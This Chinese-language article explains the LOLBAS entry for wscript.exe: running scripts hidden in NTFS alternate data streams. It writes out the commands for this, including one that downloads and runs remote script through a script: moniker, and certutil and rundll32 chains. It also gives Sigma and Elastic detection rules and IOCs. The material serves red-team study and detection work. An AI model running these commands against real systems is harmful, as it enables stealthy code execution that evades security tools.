- 应用安全
- 渗透测试
- 红蓝对抗
【免费下载链接】LOLBAS
Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts)
本文基于 LOLBAS 开源仓库中 Archive-Old-Version/OSBinaries/Wscript.exe.md 及其现行结构化记录 yml/OSBinaries/Wscript.yml 展开,聚焦 Windows 系统原生脚本宿主 wscript.exe 被滥用于"从备用数据流(Alternate Data Stream, ADS)执行脚本"这一 Living Off The Land 技术。读完本文,你将掌握:wscript.exe 的恶意利用面、ADS 藏匿与执行 VBS/JS 的完整命令写法、底层机制(WSH 引擎与 script: moniker),以及蓝队应如何通过进程行为、镜像加载与文件事件规则发现此类活动。
一、wscript.exe 是什么,为什么它属于 LOLBin
wscript.exe 是 Windows 自带的脚本宿主进程,全路径为c:\windows\system32\wscript.exe与c:\windows\sysWOW64\wscript.exe(Archive-Old-Version/OSBinaries/Wscript.exe.md)。与之成对的还有 cscript.exe,二者共享同一套 Windows Script Host(WSH)引擎:wscript 以图形界面模式运行,cscript 以命令行控制台模式运行。
在 LOLBAS 项目中,一个程序要被收录为 LOLBin 必须满足 README.md 中列出的硬性标准:
- 必须是微软签名文件(操作系统原生或由微软官方分发);
- 必须具备"意外的、超出设计意图"的功能——单纯记录设计用途没有价值;
- 该功能必须对 APT 或红队有实际作战价值。
wscript.exe 恰好全部满足:它是微软签名的系统原生组件,绝大多数 Windows 系统默认存在;它的设计用途是执行.vbs、.js等脚本,但攻击者可以让它直接执行藏在 NTFS 备用数据流里的脚本,既绕过了常规文件扫描,又规避了对"新建脚本文件"行为的检测,属于典型的"执行代码"类 LOLBin。仓库为其标注的功能标签是Execute与Read ADS(Archive-Old-Version/OSBinaries/Wscript.exe.md)。
二、核心攻击面:从 ADS 中执行 VBS 脚本
2.1 基础命令
旧版文档记录的最核心命令如下(Archive-Old-Version/OSBinaries/Wscript.exe.md):
wscript c:\ads\file.txt:script.vbs其含义是:file.txt是一个普通可见文件,script.vbs是挂在它上面的备用数据流;wscript.exe 被要求直接读取并执行file.txt:script.vbs这个 ADS 中的 VBScript 代码。
现行 yml 给出了更规范的等价写法,并显式指定了脚本引擎(yml/OSBinaries/Wscript.yml):
wscript //e:vbscript {PATH}:script.vbs其中//e:vbscript强制使用 VBScript 引擎解析目标流。这条命令的使用场景、分类、权限要求与 MITRE 映射在仓库中记录得十分完整(yml/OSBinaries/Wscript.yml):
| 字段 | 值 | 含义 |
|---|---|---|
| Description | Execute script stored in an alternate data stream | 执行存于 ADS 的脚本 |
| Usecase | Execute hidden code to evade defensive counter measures | 执行隐藏代码以规避防御措施 |
| Category | ADS | 归属"备用数据流"滥用类别 |
| Privileges | User | 普通用户权限即可 |
| MitreID | T1564.004 | 对应"隐藏项目:NTFS 文件属性(备用数据流)" |
| OperatingSystem | Windows vista, 7, 8, 8.1, 10, 11 | 覆盖 Vista 至今全系桌面系统 |
2.2 下载并执行远程 ADS 脚本
仓库还记录了第二种形态——远程脚本的下载与隐藏执行(yml/OSBinaries/Wscript.yml):
echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js这条命令分两步完成攻击链:
- 用
echo把一行 VBScript(GetObject("script:{REMOTEURL:.js}"))写入目标文件(如c:\ads\file.txt:hi.js)的 ADS; - 用 wscript.exe 执行该 ADS。
当 wscript.exe 解释执行这段 VBScript 时,GetObject会通过script:COM Moniker 按 URL 拉取远程.js脚本并就地执行——本地磁盘上从未落下一个完整的恶意脚本文件,恶意代码只在内存中驻留,显著降低了被 AV/EDR 静态查杀的概率。
三、底层原理:WSH 引擎、ADS 与 script: moniker
3.1 WSH 引擎的脚本解析流程
wscript.exe 与 cscript.exe 同属 Windows Script Host。WSH 通过//e:开关选择脚本引擎(如vbscript、jscript),并把文件路径交给对应引擎解析。关键点在于:WSH 并不要求目标"文件"必须是常规文件——路径中冒号后面的部分会被 NTFS 解析为备用数据流名。当 wscript.exe 收到c:\ads\file.txt:script.vbs这样的参数时,NTFS 文件系统层直接定位到该流并交给 WSH 引擎执行,整个过程中文件系统并未区分"普通文件"与"流"的语义差异,这正是攻击得以成立的根本原因。
同理,仓库中的 cscript.exe 条目也记录了几乎相同的滥用方式:cscript //e:vbscript {PATH_ABSOLUTE}:script.vbs(yml/OSBinaries/Cscript.yml)。二者的区别仅在于宿主形态(GUI 窗口 vs 控制台),对防御方而言,wscript.exe与cscript.exe的命令行中出现 ADS 路径都是高危信号。
3.2 script: moniker 的远程代码获取
第二种命令中的GetObject("script:http://.../x.js")利用的是 Windows 内建的script:COM Moniker。该 Moniker 允许 COM 层把一个 URL 当作"脚本对象"实例化,脚本内容通过网络获取后在本地 WSH 中执行。这是 PowerShell 的GetObject之外的、由 WSH 语境直接支撑的远程脚本加载通道,配合 ADS 落盘,形成了"文件隐藏 + 网络取码"的双重规避组合。
3.3 ADS 是什么
NTFS 备用数据流(Alternate Data Stream)是 NTFS 文件系统自 NT 3.1 起提供的能力:一个文件可以拥有多个数据流,除默认流外的一切流统称备用流,语法为文件路径:流名。备用流对大多数常规 API(目录列举、普通打开/读取)不可见,导致其天然具有隐蔽性。LOLBAS 仓库将 ADS 单列为一种攻击分类(CategoryList.md),可见其在 LOLBin 生态中的分量。
四、把 wscript 放进 ADS 执行链的完整视角
wscript.exe 之所以值得关注,还在于它能与仓库中其他 ADS 类 LOLBin 组成"写入-执行"分工链。ADS 攻击的关键痛点从来不是"怎么执行",而是"怎么把 payload 写进 ADS 且不被发现"。仓库为此记录了大量微软签名的"ADS 搬运工":
- 写入/搬运 ADS:esentutl.exe 的
/y ... /d {PATH}:file.exe可以把 EXE 拷进目标文件的 ADS;findstr.exe 的/V /L技巧可把文件内容重定向写入流;reg.exe 与 regedit.exe 可把注册表数据导出到 ADS;bitsadmin.exe 可把下载内容导向 ADS;certutil.exe 的-urlcache -f {URL} {PATH}:ttt可直接把远程文件下载进 ADS。 - 从 ADS 执行:除 wscript.exe 执行脚本外,rundll32.exe 可执行 ADS 中的 DLL(
rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain),wmic.exe 可通过process call create "{PATH_ABSOLUTE}:program.exe"执行 ADS 中的 EXE,forfiles.exe 与 sc.exe 也能把 ADS 中藏匿的 EXE 拉起来执行。
因此一个典型的隐蔽执行链可以是:用 certutil.exe 或 bitsadmin.exe 把脚本/载荷写进某个正常文件的 ADS → 用 wscript.exe(或 wmic/rundll32 等)执行该流。全程所有"恶意文件"都不以独立可见文件形式存在,这正是 wscript.exe ADS 技术在红队战术中经久不衰的原因。
五、适用范围与局限性(以仓库记录为准)
仓库明确标注该条目适用系统为 Windows Vista、7、8、8.1、10、11(yml/OSBinaries/Wscript.yml),且Privileges 为 User,即普通用户权限即可完成,无需提权——这一点使它比许多需要管理员权限的 LOLBin 更易落地。
需要如实指出其边界:
- ADS 技术依赖 NTFS 文件系统;在 FAT32/exFAT 卷或某些网络共享上无法生效;
- 从 Windows 10 1903 起,微软对部分 ADS 执行入口做了加固(例如仓库中 mshta.exe 条目 明确标注"1903 及更新版本不再生效"),wscript.exe 的 ADS 执行在新版系统上的行为应当以实际环境验证为准;
- 该条目本身以"执行"为目标,不涉及提权或凭据窃取,攻击价值取决于脚本载荷本身。
六、检测与防御:蓝队视角
仓库为 wscript.exe 条目维护了专门的 Detection 清单(yml/OSBinaries/Wscript.yml),涵盖多个层面的规则来源:Sigma 社区规则(针对 wscript/cscript 脚本执行、命令行网络痕迹、.NET CLR DLL 异常加载)、Elastic 检测规则(异常目录 ADS、远程脚本复制、可疑托管代码宿主进程)、Splunk 检测(wscript/cscript 可疑子进程)、微软官方推荐拦截规则(Microsoft Recommended Block Rules)以及 IOC 指标。仓库中收录的核心 IOC 包括:
| IOC | 检测含义 |
|---|---|
| Wscript.exe executing code from alternate data streams | 进程命令行中出现路径:流名形态的 ADS 参数 |
| DotNet CLR libraries loaded into wscript.exe | wscript.exe 进程加载了 .NET CLR(托管代码)DLL,属于非常规行为 |
| DotNet CLR Usage Log - wscript.exe.log | 系统中出现 WSH 的 .NET CLR 使用日志文件 |
据此,防御方可落地以下检测与加固措施:
- 进程创建类规则:对
wscript.exe/cscript.exe的命令行做模式匹配,命中*.txt:*、*:*.vbs、*:*.js等 ADS 语法即告警(对应仓库记录的 Sigmaproc_creation_win_wscript_cscript_script_exec方向); - 镜像加载类规则:监控 wscript.exe 加载
mscoree.dll/clr.dll等 .NET 运行时模块的异常事件(对应image_load_susp_script_dotnet_clr_dll_load方向); - 文件事件类规则:关注写往 ADS 的文件创建事件(对应
file_event_win_net_cli_artefact方向),这是写入侧 certutil/bitsadmin/findstr 活动留下的痕迹; - 启用 ETW / WSH 审计:Windows 的 WSH 有内置日志能力(即 IOC 中提到的
wscript.exe.log),可通过 Windows Defender Application Control 的脚本审计或 ETW 会话记录脚本内容; - 应用白名单:若业务无脚本执行需求,可在 WDAC/WDAC 推荐拦截规则中将 wscript.exe/cscript.exe 直接拉黑,阻断整个类别(仓库在 BlockRule 中明确引用了微软推荐拦截规则)。
七、数据模型:wscript 条目在仓库中的记录规范
wscript.exe 当前以结构化 YAML 形式维护在 yml/OSBinaries/Wscript.yml,其字段遵循 YML-Template.yml 定义的仓库统一规范。理解这套字段结构,能帮助读者快速读懂任意 LOLBin 条目:
Name/Description:程序名与总体描述;Author/Created:条目作者与创建日期(本条为 Oddvar Moe,2018-05-25);Commands[]:每个利用命令的四要素Command(可执行命令)、Description(行为描述)、Usecase(实战场景)、Category(功能分类)、Privileges(所需权限)、MitreID(ATT&CK 映射)、OperatingSystem(适用系统)与可选Tags;Full_Path[]:二进制真实安装路径(含 32/64 位双路径);Detection[]:Sigma / Elastic / Splunk / BlockRule / IOC 等检测建议;Resources[]与Acknowledgement[]:外部参考与致谢研究者。
值得注意的是,同一技术点的两份记录存在差异:旧版 Markdown(Archive-Old-Version/OSBinaries/Wscript.exe.md)只记了一条本地 ADS 执行命令,而现行 YAML 版本补充了远程脚本下载执行命令、完整检测建议与 ATT&CK 映射。这也体现了 LOLBAS 项目"以 YML 为事实源、旧版文档仅作历史存档"的演进脉络(README.md 明确说明仓库以维护 YML 文件为核心,前端站点由这些 YML 驱动)。
八、合规边界与使用前提
wscript.exe 的 ADS 执行能力属于"Living Off The Land"技术,其合法用途应严格限定于:
- 获得授权的渗透测试 / 红队演练(有书面授权范围);
- 安全研究者在隔离的靶机环境中验证与复现;
- 防御方用同一手法建设检测规则、验证 EDR 覆盖度。
在生产环境、未授权主机上执行本文命令属于违法行为。此外,文中所有命令均可在隔离环境中以无害 payload(如弹计算器、写临时文件)验证,验证前建议开启系统审计日志,以便同步观察检测侧行为。
九、延伸阅读与仓库导航
若希望继续深入,可在当前仓库中按以下路径展开:
- 同一手法的兄弟条目:yml/OSBinaries/Cscript.yml(控制台版脚本宿主,ADS 执行 VBS 的对应命令);
- ADS 分类全貌:CategoryList.md(ADS 为仓库 17 个攻击分类之一),以及 yml/OSBinaries/Esentutl.yml、yml/OSBinaries/Findstr.yml、yml/OSBinaries/Regedit.yml、yml/OSBinaries/Sc.yml、yml/OSBinaries/Wmic.yml 等写入/执行 ADS 的同类条目;
- 数据规范:YML-Template.yml(条目字段模板)与 CONTRIBUTING.md(贡献指南);
- 项目背景与收录标准:README.md(LOLBin 定义与准入条件)。
总之,wscript.exe 是 LOLBAS 中"微软签名原生组件被二次利用"的典型样本:它本是为脚本执行而生的系统组件,却因 WSH 引擎对 NTFS 备用数据流与远程script:moniker 的无差别处理,成为红队隐蔽执行链上可靠的一环;而对蓝队而言,围绕它的检测规则与 IOC 建设,恰恰是从"端点行为"层面识别 ADS 滥用的经典起点。
- 应用安全
- 渗透测试
- 红蓝对抗
【免费下载链接】LOLBAS
Living Off The Land Binaries And Scripts - (LOLBins and LOLScripts)
相关推荐
LOLBAS 实战解析:Cscript.exe 利用 NTFS 备用数据流(ADS)执行 VBScript 的攻防技术
LOLBAS 实战解析:Cscript.exe 利用 NTFS 备用数据流(ADS)执行 VBScript 的攻防技术 本文以 LOLBAS 仓库中 Cscri
应用安全渗透测试红蓝对抗LOLBAS 中的 SC.exe:利用 NTFS 备用数据流(ADS)创建与修改服务实现隐藏执行
LOLBAS 中的 SC.exe:利用 NTFS 备用数据流(ADS)创建与修改服务实现隐藏执行 导读 SC.exe 是 Windows 自带的微软签名服务管理
应用安全渗透测试红蓝对抗LOLBAS 深度剖析:Forfiles.exe 的间接命令执行与 NTFS 备用数据流(ADS)触发技法
LOLBAS 深度剖析:Forfiles.exe 的间接命令执行与 NTFS 备用数据流(ADS)触发技法 导读 本文以 LOLBAS 仓库对 Windows
应用安全渗透测试红蓝对抗
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考